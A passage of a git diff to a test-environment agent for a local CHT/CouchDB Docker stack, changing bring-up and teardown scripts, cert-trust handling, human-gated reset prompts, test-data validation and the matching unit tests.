 > `scripts/test-env-up.sh` gives each checkout its own Compose project, internal
 > network and CouchDB data dir, and refuses to start while another stack's nginx
 > is on `cht-agent-net`. Overrides are listed in `scripts/lib/test-env.sh`.
+>
+> The stack's cert is self-signed, and the agent's readiness poll stops at the first
+> TLS verification error. So bring the stack up before the agent run starts, not
+> after the agent asks: the poll then succeeds at once. Run the `docker cp` line
+> that `test-env-up.sh` prints at its end, then copy that file into the container
+> (`docker cp <file> cht-agent:/tmp/cht-cert.pem`). Start the run with
+> `docker exec -e NODE_EXTRA_CA_CERTS=/tmp/cht-cert.pem ...`. After
+> `test-env-down.sh`, the next bring-up makes a new cert. If the bring-up used
+> non-default `COUCHDB_USER` or `COUCHDB_PASSWORD`, pass the same values with `docker exec -e`.
 
 The agent detects readiness via `GET https://nginx/api/v2/monitoring` and
 continues. CouchDB-tier resets it does itself over HTTP; container restarts
diff --git a/scripts/lib/test-env.sh b/scripts/lib/test-env.sh
index 090a01da..36975008 100644
--- a/scripts/lib/test-env.sh
+++ b/scripts/lib/test-env.sh
@@ -1,3 +1,4 @@
+# shellcheck shell=bash
 # Shared by scripts/test-env-{up,down,restart}.sh (sourced, not run).
 #
 # Every cht-core checkout builds in a directory named `local-build`, and Compose
@@ -11,7 +12,8 @@
 #   COUCHDB_USER / COUCHDB_PASSWORD  admin (default medic / password, the agent's DEFAULT_AUTH)
 #   COUCHDB_DATA          CouchDB bind mount (default local-build/srv-<project>)
 #   NGINX_HTTP_PORT / NGINX_HTTPS_PORT  host binds (default 127.0.0.1:80 / 127.0.0.1:443;
-#                         set 443 to reach the stack from another device)
+#                         set 443 to reach the stack from another device, and then also set
+#                         COUCHDB_PASSWORD: the default admin is medic / password)
 #   COMMON_NAME           cert CN (default nginx, the host name the containerized agent uses)
 
 TEST_ENV_REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
@@ -22,18 +24,21 @@ TEST_ENV_NETWORK="cht-agent-net"
 test_env_default_target() {
   local path="${1:-}"
   printf '%s\n' "${path:-${CHT_CORE_PATH:-${CHT_CORE_CLONE_DIR:-$TEST_ENV_REPO_ROOT/.cht-core}}}"
+  return $?
 }
 
 test_env_hash() {
   if command -v sha256sum >/dev/null 2>&1; then sha256sum; else shasum -a 256; fi | cut -c1-8
+  return $?
 }
 
 # Sets TEST_ENV_TARGET (physical path) and TEST_ENV_PROJECT for an existing checkout.
 test_env_select() {
   local path="$1" base
   TEST_ENV_TARGET="$(cd "$path" && pwd -P)"
-  base="$(basename "$TEST_ENV_TARGET" | tr '[:upper:]' '[:lower:]' | sed -e 's/[^a-z0-9_-]/-/g' -e 's/^-*//')"
+  base="$(basename "$TEST_ENV_TARGET" | LC_ALL=C tr '[:upper:]' '[:lower:]' | LC_ALL=C sed -e 's/[^a-z0-9_-]/-/g' -e 's/^-*//')"
   TEST_ENV_PROJECT="${CHT_TEST_ENV_PROJECT:-cht-agent-${base}-$(printf '%s' "$TEST_ENV_TARGET" | test_env_hash)}"
+  return $?
 }
 
 test_env_require_build() {
@@ -52,6 +57,22 @@ test_env_compose() {
     NGINX_HTTP_PORT="${NGINX_HTTP_PORT:-127.0.0.1:80}" NGINX_HTTPS_PORT="${NGINX_HTTPS_PORT:-127.0.0.1:443}" \
     COMMON_NAME="${COMMON_NAME:-nginx}" \
     docker compose -p "$TEST_ENV_PROJECT" -f cht-couchdb.yml -f cht-core.yml -f "$TEST_ENV_OVERRIDE" "$@" )
+  return $?
+}
+
+# Refuse a project that another checkout started. With a shared CHT_TEST_ENV_PROJECT,
+# up would recreate that checkout's containers, and down -v would delete them and its volumes.
+test_env_require_owner() {
+  local dirs dir
+  dirs="$(docker ps -a --filter "label=com.docker.compose.project=$TEST_ENV_PROJECT" \
+    --format '{{.Label "com.docker.compose.project.working_dir"}}' | sort -u)"
+  while IFS= read -r dir; do
+    if [[ -n "$dir" && "$dir" != "$TEST_ENV_TARGET/local-build" ]]; then
+      echo "error: Compose project '$TEST_ENV_PROJECT' has containers from $dir, which is not $TEST_ENV_TARGET/local-build." >&2
+      exit 1
+    fi
+  done <<< "$dirs"
+  return 0
 }
 
 # restart and down would otherwise report success against a project with nothing in it.
@@ -60,9 +81,10 @@ test_env_require_containers() {
   containers="$(test_env_compose ps -a -q)"
   if [[ -z "$containers" ]]; then
     echo "error: Compose project '$TEST_ENV_PROJECT' has no containers." >&2
-    echo "       'docker compose ls -a' lists the projects that exist; a stack started under" >&2
-    echo "       another name needs CHT_TEST_ENV_PROJECT=<name> (earlier versions of these" >&2
-    echo "       scripts left it to Compose, which named every stack 'local-build')." >&2
+    echo "       'docker compose ls -a' lists the projects that exist; a stack this checkout" >&2
+    echo "       started under another name needs CHT_TEST_ENV_PROJECT=<name>." >&2
     exit 1
   fi
+  test_env_require_owner
+  return 0
 }
diff --git a/scripts/test-env-down.sh b/scripts/test-env-down.sh
index b9f3ad68..bcb58dd3 100755
--- a/scripts/test-env-down.sh
+++ b/scripts/test-env-down.sh
@@ -14,4 +14,4 @@ test_env_require_containers
 test_env_compose down -v
 
 echo "CHT environment '$TEST_ENV_PROJECT' torn down. -v removed its named volumes; CouchDB data in the" \
-  "${COUCHDB_DATA:-local-build/srv-$TEST_ENV_PROJECT} bind mount stays."
+  "${COUCHDB_DATA:-$TEST_ENV_TARGET/local-build/srv-$TEST_ENV_PROJECT} bind mount stays."
diff --git a/scripts/test-env-up.sh b/scripts/test-env-up.sh
index 0bbfc8af..66d8bc50 100755
--- a/scripts/test-env-up.sh
+++ b/scripts/test-env-up.sh
@@ -52,13 +52,15 @@ if [[ ! -d "$TARGET" ]]; then
   exit 1
 fi
 test_env_select "$TARGET"
+test_env_require_owner
 
 # 1. Shared network the cht-agent and CHT both join.
 docker network inspect "$TEST_ENV_NETWORK" >/dev/null 2>&1 || docker network create "$TEST_ENV_NETWORK" >/dev/null
 
 # The agent reaches CHT as https://nginx on that network; a second stack's nginx
-# there would split the name between two instances.
-nginx_projects="$(docker ps --filter "network=$TEST_ENV_NETWORK" --filter label=com.docker.compose.service=nginx \
+# there would split the name between two instances. -a: a stopped nginx comes back
+# when the Docker daemon restarts (restart: always).
+nginx_projects="$(docker ps -a --filter "network=$TEST_ENV_NETWORK" --filter label=com.docker.compose.service=nginx \
   --format '{{.Label "com.docker.compose.project"}}')"
 while IFS= read -r project; do
   if [[ -n "$project" && "$project" != "$TEST_ENV_PROJECT" ]]; then
diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index 59e2a471..348e6e9f 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -63,9 +63,13 @@ import {
 // Real-path defaults: scripts/test-env-up.sh brings CHT up on cht-agent-net with these
 // same credentials and with COMMON_NAME=nginx, so the stack's SAN-less self-signed cert
 // names the host the agent dials. The cht-conf child gets --accept-self-signed-certs; the
-// agent's own fetch trusts the cert via NODE_EXTRA_CA_CERTS=<the stack's cert.pem>.
+// agent's own fetch trusts the cert via NODE_EXTRA_CA_CERTS=<the stack's cert.pem>. Node
+// loads that file once, no later than the process's first TLS connection attempt (even a
+// failed one). The nginx container makes a new key for each new cht-ssl volume (the first
+// up, and every up after down -v). So start the agent after the cert exists, and restart it
+// after a full reset.
 // NODE_TLS_REJECT_UNAUTHORIZED=0 disables verification for ALL agent traffic (LLM/MCP
-// included) — disposable runner containers only.
+// included): disposable runner containers only.
 const DEFAULT_ENV_URL = 'https://nginx';
 const DEFAULT_NETWORK = 'cht-agent-net';
 const DEFAULT_AUTH = { user: 'medic', password: 'password' };
@@ -120,10 +124,18 @@ const shellQuote = (value: string): string => `'${value.replaceAll("'", SINGLE_Q
  * Argument for a printed gate command: a quoted path, or nothing when we don't
  * know one — the scripts resolve CHT_CORE_PATH (or their managed checkout)
  * themselves, so a bare command is runnable while a `'<cht-core>'` placeholder
- * would not be.
+ * would not be. The human runs the gate on the host: a dockerized agent sees its
+ * working copy at the mount target, so CHT_CORE_HOST_PATH (the mount source) wins.
  */
-const gateArg = (chtCorePath: string | undefined): string =>
-  chtCorePath === undefined ? '' : ` ${shellQuote(chtCorePath)}`;
+const gateArg = (chtCorePath: string | undefined): string => {
+  const hostPath = process.env.CHT_CORE_HOST_PATH?.trim();
+  // Printed into the human-gate command lines, like chtCorePath (validateProvisionOptions).
+  if (hostPath && hasControlChars(hostPath)) {
+    throw new Error('CHT_CORE_HOST_PATH contains control characters: it must be a plain filesystem path');
+  }
+  const gatePath = hostPath || chtCorePath;
+  return gatePath === undefined ? '' : ` ${shellQuote(gatePath)}`;
+};
 
 /** Carry an explicit Compose project into the printed gates, so down/restart address the same stack. */
 const gateEnv = (): string => {
@@ -230,8 +242,8 @@ const assertDisposableTarget = (target: URL, options: ProvisionOptions, defaultC
   }
   if (defaultCreds) {
     throw new Error(
-      `provision: refusing the built-in default credentials against ${target.host} — pass auth ` +
-        'explicitly or set COUCHDB_USER/COUCHDB_PASSWORD.'
+      `provision: refusing the built-in default credentials against ${target.host}: nobody supplied a ` +
+        'password. Pass auth explicitly or set COUCHDB_PASSWORD.'
     );
   }
 };
@@ -265,15 +277,19 @@ const validateProvisionOptions = (options: ProvisionOptions): void => {
   if (options.chtCorePath && hasControlChars(options.chtCorePath)) {
     throw new Error('provision: chtCorePath contains control characters — must be a plain filesystem path');
   }
+  // The gates single-quote the path, so a shell never expands a leading ~; cht-conf gets it literally too.
+  if (options.chtCorePath?.startsWith('~')) {
+    throw new Error('provision: chtCorePath starts with ~, which nothing expands; pass an absolute path');
+  }
 };
 
 /**
  * Real mode brings a stack up from a cht-core working copy only. A published version comes
- * up through cht-docker-helper at a URL this layer can neither print a gate for nor poll,
- * so it is refused; checking the release tag out in a working copy reaches the same code.
+ * up through cht-docker-helper, which this layer prints no gate for, so real mode refuses it.
+ * Checking the release tag out in a working copy reaches the same code.
  */
 const assertRealModeSupported = (options: ProvisionOptions, network: string): void => {
-  if (options.version !== undefined) {
+  if (!options.chtCorePath) {
     throw new Error(
       `provision: real mode has no published-version bring-up — check ${options.version} out in a ` +
         'cht-core working copy and pass chtCorePath'
@@ -308,7 +324,7 @@ const provisionReal = async (options: ProvisionOptions, network: string): Promis
   const { url, auth } = resolveRealTarget(options);
 
   console.log('[Test Environment Agent] HUMAN GATE — bring the env up (agent runs no Docker):');
-  console.log(`    ${gateEnv()}scripts/test-env-up.sh${gateArg(options.chtCorePath)}   # build + start on ${network}`);
+  console.log(`    CHT_CORE_REBUILD=1 ${gateEnv()}scripts/test-env-up.sh${gateArg(options.chtCorePath)}   # build + start on ${network}`);
   console.log(`[Test Environment Agent] Polling ${url}/api/v2/monitoring until healthy...`);
 
   const readiness = {
@@ -579,9 +595,10 @@ const uploadShortfall = (run: ChtConfExecResult, docCount: number): string | und
     return docCount > 0 ? `upload-docs printed no summary for ${docCount} doc(s)` : undefined;
   }
   if (summary.uploaded < summary.total) {
+    // reset('couchdb') wipes AND reseeds, so a second seed of the same docs after it still conflicts.
     return (
       `only ${summary.uploaded} of ${summary.total} docs uploaded — the rest were rejected or already ` +
-      "exist; reset('couchdb') before re-seeding the same data"
+      "exist. Seeding data the instance already holds conflicts; reset('couchdb') restores it instead"
     );
   }
   return undefined;
@@ -727,7 +744,11 @@ const wipeTrackedDocs = async (handle: EnvironmentHandle, docIds: string[]): Pro
   const failed = outcomes.filter((row) => row.error !== undefined || row.ok !== true);
   if (failed.length > 0) {
     const failedIds = failed.map((row) => row.id ?? 'unknown').slice(0, 5).join(', ');
-    throw new Error(`couchdb reset failed to delete ${failed.length} doc(s): ${failedIds}`);
+    // _bulk_docs is not atomic: the other deletions were applied, and nothing reseeds them.
+    throw new Error(
+      `couchdb reset failed to delete ${failed.length} doc(s): ${failedIds}. The other ` +
+        `${deletions.length - failed.length} doc(s) were deleted and not reseeded: run the reset again`
+    );
   }
   return deletions.length;
 };
@@ -777,8 +798,15 @@ const printResetGate = (handle: EnvironmentHandle, tier: ResetTier): void => {
   if (tier === 'restart') {
     console.log(`    ${env}scripts/test-env-restart.sh${target}`);
   } else {
-    // A full reset is a fresh stack, so rebuild: Model A tests the code as it is now.
+    // A full reset recreates the containers from rebuilt images (Model A tests the code as it is now).
+    // It is not a clean database: the CouchDB bind mount survives down -v (see reset()).
     console.log(`    ${env}scripts/test-env-down.sh${target} && ${env}CHT_CORE_REBUILD=1 scripts/test-env-up.sh${target}`);
+    // down -v deletes the cht-ssl volume, so nginx comes back with a new self-signed cert.
+    // Node loads NODE_EXTRA_CA_CERTS once per process, so this process still trusts the old one.
+    console.log(
+      '[Test Environment Agent] down -v deletes the nginx cert, and up makes a new one. If NODE_EXTRA_CA_CERTS ' +
+        'trusts the old one, copy the new cert.pem and restart the agent before re-confirming health.'
+    );
   }
   console.log('[Test Environment Agent] Re-confirm health with provision()/waitForReady after.');
 };
@@ -988,9 +1016,10 @@ export class TestEnvironmentAgent {
    * performs itself (CouchDB HTTP API — no Docker): it wipes the docs the last
    * prepareTestData seeded, re-uploads pristine copies, and checks they are back.
    * restart/full stay human-gated: they print the command and return
-   * `performedBy: 'human-gate'` with zero counts WITHOUT waiting for the human, so the
-   * caller re-confirms health itself. CouchDB data is a bind mount (COUCHDB_DATA), so it
-   * survives `down -v`; only the named volumes go.
+   * `performedBy: 'human-gate'` with zero counts WITHOUT waiting for the human. The old stack
+   * keeps answering healthy until the operator acts, so health alone cannot show the reset
+   * ran. Get the operator's approval first, then re-confirm health. CouchDB data is a bind
+   * mount (COUCHDB_DATA), so it survives `down -v`; only the named volumes go.
    */
   async reset(
     handle: EnvironmentHandle,
diff --git a/src/types/index.ts b/src/types/index.ts
index 3a5e5860..8fbc3c7f 100644
--- a/src/types/index.ts
+++ b/src/types/index.ts
@@ -937,14 +937,18 @@ export interface ChtConfExecResult {
 
 /**
  * Inputs to prepareTestData's real path. The data project is a cht-conf
- * project folder: docs come from `<dataPath>/csv/*.csv` (csv-to-docs naming:
- * place.<type>.csv, person.csv, report.<form>.csv, contact.csv, users.csv),
- * and user accounts from `<dataPath>/users.csv` (hand-written, or generated
- * by csv-to-docs from users.*.csv inputs). create-users only runs when that
- * file exists — cht-conf throws on a missing users.csv.
+ * project folder. With a csv/ directory, csv-to-docs regenerates json_docs from
+ * `<dataPath>/csv/*.csv` (naming: place.<type>.csv, person.csv, report.<form>.csv,
+ * contact.csv, users.csv). The layer records the files it generated in
+ * `<dataPath>/.cht-agent-seeded.json` and refuses to seed while json_docs holds any
+ * other doc file. Without csv/, the layer uploads the hand-authored json_docs as it is.
+ * User accounts come from `<dataPath>/users.csv`. The operator writes that file by hand,
+ * or csv-to-docs writes it from csv/users.csv or csv/users.<name>.csv and replaces any
+ * existing file. create-users only runs when that file exists: cht-conf throws on a
+ * missing users.csv.
  */
 export interface PrepareTestDataOptions {
-  /** cht-conf project folder holding csv/ (required by the real path). */
+  /** cht-conf project folder with csv/ or a hand-authored json_docs/ (required in real mode). */
   dataPath?: string;
   /** Override the cht-conf binary (default: `cht`); lets tests stub a fake script. */
   bin?: string;
diff --git a/src/utils/cht-conf-runner.ts b/src/utils/cht-conf-runner.ts
index c49ea59f..8c7bc6e0 100644
--- a/src/utils/cht-conf-runner.ts
+++ b/src/utils/cht-conf-runner.ts
@@ -281,7 +281,7 @@ export const runChtConf = (options: ChtConfExecOptions): Promise<ChtConfExecResu
   });
 };
 
-/** Failures stdout parsing cannot see: timeout, spawn error, or ERROR under exit 0. */
+/** Failures stdout parsing cannot see: a timeout or a spawn error. */
 const noteHardFailure = (
   run: ChtConfExecResult,
   options: ChtConfRunOptions,
@@ -295,13 +295,6 @@ const noteHardFailure = (
     warnings.push(`cht-conf ${options.action} failed to start: ${run.startError}`);
     return true;
   }
-  if (loggedErrorButExitedZero(run)) {
-    warnings.push(
-      `cht-conf ${options.action} logged an error but exited 0 — treated as failed`,
-      ...outputTail(run.output)
-    );
-    return true;
-  }
   return false;
 };
 
@@ -315,13 +308,17 @@ const deriveBucketStatus = (
     return { status: 'failed', matchedNothing: false };
   }
   const status = classifyChtConfOutput(run.output, run.exitCode);
-  if (status === 'skipped') {
-    return classifySkippedBucket(run, options, warnings);
-  }
   if (status === 'failed') {
     warnings.push(...outputTail(run.output));
+    return { status, matchedNothing: false };
+  }
+  // For some problems, cht-conf logs ERROR and continues: for example a translation
+  // file named messages-luo.properties, or a failed couch-config read. Report those
+  // lines, but keep the status.
+  if (loggedErrorButExitedZero(run)) {
+    warnings.push(`cht-conf ${options.action} exited 0 but logged errors`, ...outputTail(run.output));
   }
-  return { status, matchedNothing: false };
+  return status === 'skipped' ? classifySkippedBucket(run, options, warnings) : { status, matchedNothing: false };
 };
 
 /**
diff --git a/src/utils/cht-readiness.ts b/src/utils/cht-readiness.ts
index 6ac01722..82c79b6c 100644
--- a/src/utils/cht-readiness.ts
+++ b/src/utils/cht-readiness.ts
@@ -41,11 +41,14 @@ const describeProbeFailure = (error: unknown): NotReady => {
   }
   const cause = causeOf(error);
   const detail = cause?.message || cause?.code;
-  return {
-    ready: false,
-    reason: detail ? `${error.message} (${detail})` : error.message,
-    terminal: cause?.code !== undefined && TLS_VERIFY_CODES.has(cause.code),
-  };
+  const untrusted = cause?.code !== undefined && TLS_VERIFY_CODES.has(cause.code);
+  const reason = detail ? `${error.message} (${detail})` : error.message;
+  // Node loads NODE_EXTRA_CA_CERTS once, no later than its first TLS connection attempt; each new
+  // cht-ssl volume has a new cert.
+  const hint =
+    '; start the agent trusting the current stack cert.pem (NODE_EXTRA_CA_CERTS) and dial the host it ' +
+    'names (an expired cert needs a new cht-ssl volume)';
+  return { ready: false, reason: untrusted ? `${reason}${hint}` : reason, terminal: untrusted };
 };
 
 /** Monitoring reports '' for a version it cannot read, i.e. while the app or CouchDB is down. */
@@ -62,7 +65,8 @@ const classifyResponse = async (response: FetchResponse): Promise<ProbeOutcome>
     return { ready: false, reason, terminal: true };
   }
   if (!response.ok) {
-    return { ready: false, reason: `HTTP ${response.status}`, terminal: false };
+    const retryable = response.status >= 500 || response.status === 408 || response.status === 429;
+    return { ready: false, reason: `HTTP ${response.status}`, terminal: !retryable };
   }
   const body: unknown = await response.json().catch(() => null);
   return isHealthy(body) ? READY : { ready: false, reason: 'the app or CouchDB is not up yet', terminal: false };
diff --git a/src/utils/test-data.ts b/src/utils/test-data.ts
index 615e9a46..c36ad8d8 100644
--- a/src/utils/test-data.ts
+++ b/src/utils/test-data.ts
@@ -76,7 +76,11 @@ export const hasCsvInput = (dataPath: string): boolean => existsSync(join(dataPa
 
 const docDirOf = (dataPath: string): string => join(dataPath, 'json_docs');
 
-/** Every *.doc.json under json_docs, relative to it — recursive, as upload-docs reads it. */
+/**
+ * Every *.doc.json under json_docs, relative to it, with the same two filters as upload-docs.
+ * cht-conf's recurseFiles skips every dot-prefixed file or directory and ignores a dangling
+ * symlink.
+ */
 export const listDocFiles = (dataPath: string): string[] => {
   const docDir = docDirOf(dataPath);
   if (!existsSync(docDir)) {
@@ -84,6 +88,7 @@ export const listDocFiles = (dataPath: string): string[] => {
   }
   return readdirSync(docDir, { recursive: true, encoding: 'utf-8' })
     .filter((file) => file.endsWith(DOC_FILE_EXTENSION))
+    .filter((file) => !/(?:^|[\\/])\./.test(file) && existsSync(join(docDir, file)))
     .sort((a, b) => a.localeCompare(b));
 };
 
@@ -100,13 +105,20 @@ const readOwnershipManifest = (dataPath: string): Record<string, unknown> => {
   }
 };
 
+// csv-to-docs names every file `<uuid v5 _id>.doc.json`, at the top of json_docs
+// (cht-conf csv-to-docs.js withId).
+const GENERATED_DOC_FILE =
+  /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\.doc\.json$/;
+
 /**
- * Record every doc file now in json_docs as generated by this layer. Only call it right
- * after csv-to-docs ran into a json_docs that held nothing else (see prepareDocs).
+ * Record the doc files csv-to-docs wrote as generated by this layer. Only call it right after
+ * csv-to-docs ran into a json_docs that held nothing else (see prepareDocs). A file that
+ * appeared meanwhile under another name or in a subdirectory stays foreign, so the next run
+ * refuses it instead of deleting it.
  */
 export const recordOwnedDocFiles = (dataPath: string): void => {
   const manifest: Record<string, string> = {};
-  for (const file of listDocFiles(dataPath)) {
+  for (const file of listDocFiles(dataPath).filter((name) => GENERATED_DOC_FILE.test(name))) {
     manifest[file] = hashDocFile(dataPath, file);
   }
   writeFileSync(join(dataPath, OWNERSHIP_MANIFEST), `${JSON.stringify(manifest, null, 2)}\n`);
@@ -132,14 +144,25 @@ export const removeOwnedDocFiles = (dataPath: string): number => {
 };
 
 const parseSeededDoc = (dataPath: string, file: string): SeededDoc => {
-  let doc: { _id?: string; type?: string; contact_type?: string };
+  let doc: { _id?: unknown; type?: string; contact_type?: string; _deleted?: unknown };
   try {
     doc = JSON.parse(readFileSync(join(docDirOf(dataPath), file), 'utf-8'));
   } catch (error) {
     throw new Error(`json_docs/${file} is not valid JSON: ${(error as Error).message}`);
   }
+  // upload-docs refuses the whole directory, uploading nothing, when one file's _id is not its
+  // name. Refuse here, so the couchdb reset fails before its wipe instead of after it.
+  const id = basename(file, DOC_FILE_EXTENSION);
+  if (doc._id !== id) {
+    throw new Error(`json_docs/${file} must set _id "${id}", its file name, for upload-docs`);
+  }
+  // A seed only creates docs. A deletion doc with cht_disable_linked_users also makes upload-docs
+  // disable or edit every account at that place via /api/v1/users, which no id check sees.
+  if (doc._deleted) {
+    throw new Error(`json_docs/${file} is a deletion (_deleted); test data can only create docs`);
+  }
   return {
-    id: doc._id ?? basename(file, DOC_FILE_EXTENSION),
+    id,
     type: doc.type ?? '',
     ...(doc.contact_type !== undefined ? { contactType: doc.contact_type } : {}),
   };
diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index 9429589e..7be9765b 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -1120,6 +1120,15 @@ describe('TestEnvironmentAgent', () => {
         expect(result.warnings.join(' ')).to.include('only 3 of 5 docs uploaded');
       });
 
+      it('should report succeeded:false when upload-docs exits 0 without a summary for docs it was given', async () => {
+        runs['upload-docs'] = okRun(ansiInfo('Uploading docs'));
+
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(result.succeeded).to.equal(false);
+        expect(result.warnings.join(' ')).to.include('upload-docs printed no summary for 5 doc(s)');
+      });
+
       it('should warn when json_docs ends up empty (no csv inputs)', async () => {
         runs['csv-to-docs'] = okRun(ansiInfo('No csv directory found at /mnt/test-data/csv.'));
         runs['upload-docs'] = okRun('');
@@ -1185,12 +1194,40 @@ describe('TestEnvironmentAgent', () => {
         source: 'docker',
       };
 
+      // The printed gates carry CHT_TEST_ENV_PROJECT; isolate them from the ambient shell.
+      let priorProject: string | undefined;
+
       beforeEach(() => {
         realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+        priorProject = process.env.CHT_TEST_ENV_PROJECT;
+        delete process.env.CHT_TEST_ENV_PROJECT;
       });
 
       afterEach(() => {
         sinon.restore();
+        if (priorProject === undefined) {
+          delete process.env.CHT_TEST_ENV_PROJECT;
+        } else {
+          process.env.CHT_TEST_ENV_PROJECT = priorProject;
+        }
+      });
+
+      it('should carry an explicit CHT_TEST_ENV_PROJECT into the restart, full and teardown gates', async () => {
+        process.env.CHT_TEST_ENV_PROJECT = 'my-proj';
+        const logSpy = sinon.spy(console, 'log');
+
+        await realAgent.reset(dockerHandle, 'restart');
+        await realAgent.reset(dockerHandle, 'full');
+        await realAgent.teardown(dockerHandle);
+
+        const lines = logSpy.getCalls().map((call) => String(call.args[0]));
+        const env = "CHT_TEST_ENV_PROJECT='my-proj' ";
+        const path = "'/workspace/cht-core'";
+        expect(lines).to.include(`    ${env}scripts/test-env-restart.sh ${path}`);
+        expect(lines).to.include(
+          `    ${env}scripts/test-env-down.sh ${path} && ${env}CHT_CORE_REBUILD=1 scripts/test-env-up.sh ${path}`
+        );
+        expect(lines.some((line) => line.startsWith(`    ${env}scripts/test-env-down.sh ${path}   #`))).to.equal(true);
       });
 
       it('should print a runnable restart gate quoting the cht-core path (human-gated, agent runs no Docker)', async () => {
@@ -1293,6 +1330,7 @@ describe('TestEnvironmentAgent', () => {
           expect(reseedCall.verbs).to.deep.equal(['upload-docs']);
           expect(reseedCall.configPath).to.equal(dataPath);
           expect(reseedCall.cwd).to.equal(dataPath);
+          expect(fetchDocRevsStub.secondCall.calledAfter(runChtConfStub.firstCall)).to.equal(true);
         });
 
         it('should skip tombstoned and never-existed docs in the wipe', async () => {
@@ -1400,8 +1438,8 @@ describe('TestEnvironmentAgent', () => {
 
         it('should not let a failed re-seed clobber the wipe worklist', async () => {
           await seedTracking();
-          // A later seeding attempt fails after its json_docs were cleaned.
-          readSeededDocsStub.returns([]);
+          // A later seed has docs on disk, but its upload-docs run fails.
+          readSeededDocsStub.returns([{ id: 'other-1', type: 'clinic' }]);
           runChtConfStub.resolves({ exitCode: 1, output: 'ERROR boom', timedOut: false });
           await agentUnderTest.prepareTestData(dockerHandle, seedConfig, { dataPath: '/mnt/other-data' });
 
diff --git a/test/utils/cht-conf-runner.spec.ts b/test/utils/cht-conf-runner.spec.ts
index 411c699e..46bc582c 100644
--- a/test/utils/cht-conf-runner.spec.ts
+++ b/test/utils/cht-conf-runner.spec.ts
@@ -270,6 +270,42 @@ describe('cht-conf-runner', () => {
       expect(result.exitCode).to.be.null;
     });
 
+    it('escalates to SIGKILL 5s after SIGTERM when the child does not exit', async () => {
+      const clock = sinon.useFakeTimers();
+      try {
+        const proc = makeFakeProc();
+        const { runChtConf } = loadRunner(proc);
+
+        const promise = runChtConf(execOpts({ timeoutMs: 5 }));
+        await clock.tickAsync(5);
+        expect((await promise).timedOut).to.equal(true);
+        expect(proc.kill.calledWith('SIGKILL')).to.equal(false);
+
+        await clock.tickAsync(5_000);
+        expect(proc.kill.calledWith('SIGKILL')).to.equal(true);
+      } finally {
+        clock.restore();
+      }
+    });
+
+    it('does not SIGKILL a child that exited after SIGTERM', async () => {
+      const clock = sinon.useFakeTimers();
+      try {
+        const proc = makeFakeProc();
+        const { runChtConf } = loadRunner(proc);
+
+        const promise = runChtConf(execOpts({ timeoutMs: 5 }));
+        await clock.tickAsync(5);
+        await promise;
+        proc.emit('close', null);
+
+        await clock.tickAsync(5_000);
+        expect(proc.kill.calledWith('SIGKILL')).to.equal(false);
+      } finally {
+        clock.restore();
+      }
+    });
+
     it('folds a spawn failure into startError instead of rejecting, naming the binary', async () => {
       const proc = makeFakeProc();
       const { runChtConf } = loadRunner(proc);
@@ -506,19 +542,21 @@ describe('cht-conf-runner', () => {
     // cht-conf's log.js writes every level to STDOUT behind a colour code, e.g. \x1b[31mERROR.
     const coloured = (colour: string, level: string, message: string) => `\x1b[${colour}m${level} ${message} \x1b[0m\n`;
 
-    it('fails a bucket that logged an ERROR even though cht-conf exited 0', async () => {
+    it('keeps the status but reports an ERROR line that cht-conf logged before it exited 0', async () => {
       const proc = makeFakeProc();
       const { runBucket } = loadRunner(proc);
 
       const promise = runBucket(baseOpts({ action: 'resources' }));
-      // upload-custom-translations.js logs this and returns, so cht-conf exits 0.
-      proc.stdout.emit('data', Buffer.from(coloured('31', 'ERROR', 'Exception checking translations: bad file')));
+      // upload-custom-translations.js logs a wrong-file-name ERROR, then still uploads every changed file.
+      const wrongName = 'The following file/s have wrong ISO 639 language code: messages-luo.properties';
+      proc.stdout.emit('data', Buffer.from(coloured('31', 'ERROR', wrongName)));
+      proc.stdout.emit('data', Buffer.from(coloured('32', 'INFO', 'Translation translations/messages-luo.properties uploaded')));
       proc.emit('close', 0);
 
       const result = await promise;
-      expect(result.status).to.equal('failed');
-      expect(result.warnings.join(' ')).to.include('logged an error but exited 0');
-      expect(result.warnings.join(' ')).to.include('Exception checking translations');
+      expect(result.status).to.equal('uploaded');
+      expect(result.warnings.join(' ')).to.include('exited 0 but logged errors');
+      expect(result.warnings.join(' ')).to.include('wrong ISO 639 language code');
     });
 
     it('does not fail an upload whose form is merely named like an error', async () => {
@@ -531,6 +569,21 @@ describe('cht-conf-runner', () => {
 
       const result = await promise;
       expect(result.status).to.equal('uploaded');
+      expect(result.warnings).to.deep.equal([]);
+    });
+
+    it('matches the level tag case-sensitively: a line that starts with "Error" is not an ERROR line', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts());
+      proc.stdout.emit('data', Buffer.from(coloured('32', 'INFO', 'Form forms/app/pregnancy.xml uploaded')));
+      proc.stderr.emit('data', Buffer.from('Error: something a child printed to stderr\n'));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.status).to.equal('uploaded');
+      expect(result.warnings).to.deep.equal([]);
     });
 
     it("does not fail on cht-conf's benign INFO about an unreadable bookmark", async () => {
@@ -545,6 +598,7 @@ describe('cht-conf-runner', () => {
 
       const result = await promise;
       expect(result.status).to.equal('uploaded');
+      expect(result.warnings).to.deep.equal([]);
     });
 
     it('spawns the artifact filter it advertises (same lowering as buildChtConfArgs)', async () => {
diff --git a/test/utils/cht-readiness.spec.ts b/test/utils/cht-readiness.spec.ts
index 1a37c168..8392e873 100644
--- a/test/utils/cht-readiness.spec.ts
+++ b/test/utils/cht-readiness.spec.ts
@@ -58,12 +58,18 @@ describe('cht-readiness', () => {
     });
 
     it('treats an empty app or CouchDB version as not ready', async () => {
-      fetchStub.onCall(0).resolves({ ok: true, status: 200, json: async () => ({ version: { app: '', couchdb: '' } }) });
-      fetchStub.onCall(1).resolves(healthy());
+      const versions = (app: string, couchdb: string) => ({
+        ok: true,
+        status: 200,
+        json: async () => ({ version: { app, couchdb } }),
+      });
